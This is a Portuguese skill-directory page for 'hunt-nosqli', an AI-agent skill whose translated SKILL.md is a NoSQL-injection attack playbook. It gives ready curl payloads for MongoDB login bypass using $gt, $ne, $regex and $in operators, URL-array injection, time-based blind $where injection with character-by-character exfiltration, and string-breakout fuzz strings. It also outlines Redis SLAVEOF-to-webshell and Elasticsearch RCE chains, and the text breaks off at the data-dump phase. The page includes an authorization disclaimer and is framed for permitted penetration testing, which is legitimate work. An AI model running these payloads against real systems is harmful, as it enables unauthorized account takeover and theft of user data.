Pular para o conteúdo
Skillpedia
Bancos de dados48 mil · #3276

hunt-nosqli

Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.

O que ela faz

Essa ferramenta ajuda a encontrar falhas de segurança em bancos de dados NoSQL, como o MongoDB. Ela tenta burlar sistemas de login ou extrair informações sensíveis.

Quando usar

  • ✓Ao testar a segurança de um site ou aplicativo.
  • ✓Para verificar se um banco de dados NoSQL está vulnerável.
  • ✓Em testes de penetração autorizados.

Exemplo do que pedir para a IA

“Procure por vulnerabilidades de injeção NoSQL no site example.com”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-nosqli/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-nosqli/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia comandos especialmente criados para o banco de dados. Se o banco de dados responder de forma inesperada, pode haver uma falha de segurança.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-nosqli

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-nosqli/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

HUNT-NOSQLI — Injeção NoSQL

Alvos de Joia da Coroa

A injeção NoSQL é mais valiosa quando contorna a autenticação (Crítico) ou vaza toda a coleção de usuários (Alto).

Cadeias de maior valor:

  • Contorno de autenticação MongoDB — {"username": {"$gt": ""}, "password": {"$gt": ""}} faz login como o primeiro usuário na coleção (geralmente administrador)
  • Injeção de JS $where — se $where estiver habilitado: injeção cega → exfiltração de dados
  • Injeção de comando Redis — via SSRF ou TCP direto, SLAVEOF ip do atacante → escrita de configuração → webshell
  • Injeção Elasticsearch — endpoint _search com injeção de script Groovy (pré-5.0) → RCE

Sinais de Superfície de Ataque

Padrões de URL e Parâmetros

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Sinais de Stack

Sinal Vetor
Mensagens de erro do MongoDB na resposta Injeção de operador
mongoose / monk em pacotes JS Padrões ODM
X-Powered-By: Express Pilha comum Node.js + MongoDB
UI CouchDB/_utils exposta Admin Futon/Fauxton
Porta Redis 6379 aberta (via SSRF) CONFIG SET / SLAVEOF
Elasticsearch :9200 aberto Injeção de script

Metodologia de Caça Passo a Passo

Fase 1 — Contorno de Autenticação (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Fase 2 — Injeção de Parâmetro de URL

# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Fase 3 — Injeção Cega $where (baseada em tempo)

# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Fase 3b — Injeção de sintaxe em um $where/query concatenado (contexto de string)

Quando o aplicativo concatena a entrada em uma STRING $where JS ("this.name=='"+input+"'") em vez de aceitar um objeto de operador, quebre a string em vez de passar $gt/$ne. Faça fuzz primeiro, depois quebre:

fuzz:  ' " ` { ; $         # any 500/behaviour change = syntax reaches the query
' || '1'=='1               # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y   # boolean char-exfil oracle

(PortSwigger: Injetando sintaxe em consultas NoSQL.)

Fase 4 — Dump de Dados via Regex

# Enumerar nomes de usuário caractere por caractere

…
Perguntas frequentes

O que é injeção NoSQL?

É um tipo de ataque onde um invasor insere comandos maliciosos em um banco de dados NoSQL para obter acesso não autorizado ou roubar dados.

Por que é importante testar isso?

Para garantir que informações confidenciais de usuários e do sistema estejam protegidas contra ataques.

Preciso de permissão para usar essa ferramenta?

Sim, é crucial ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta, pois o uso não autorizado é ilegal.

Detalhes

Descrição original do autor

Hunt NoSQL Injection

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3276
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas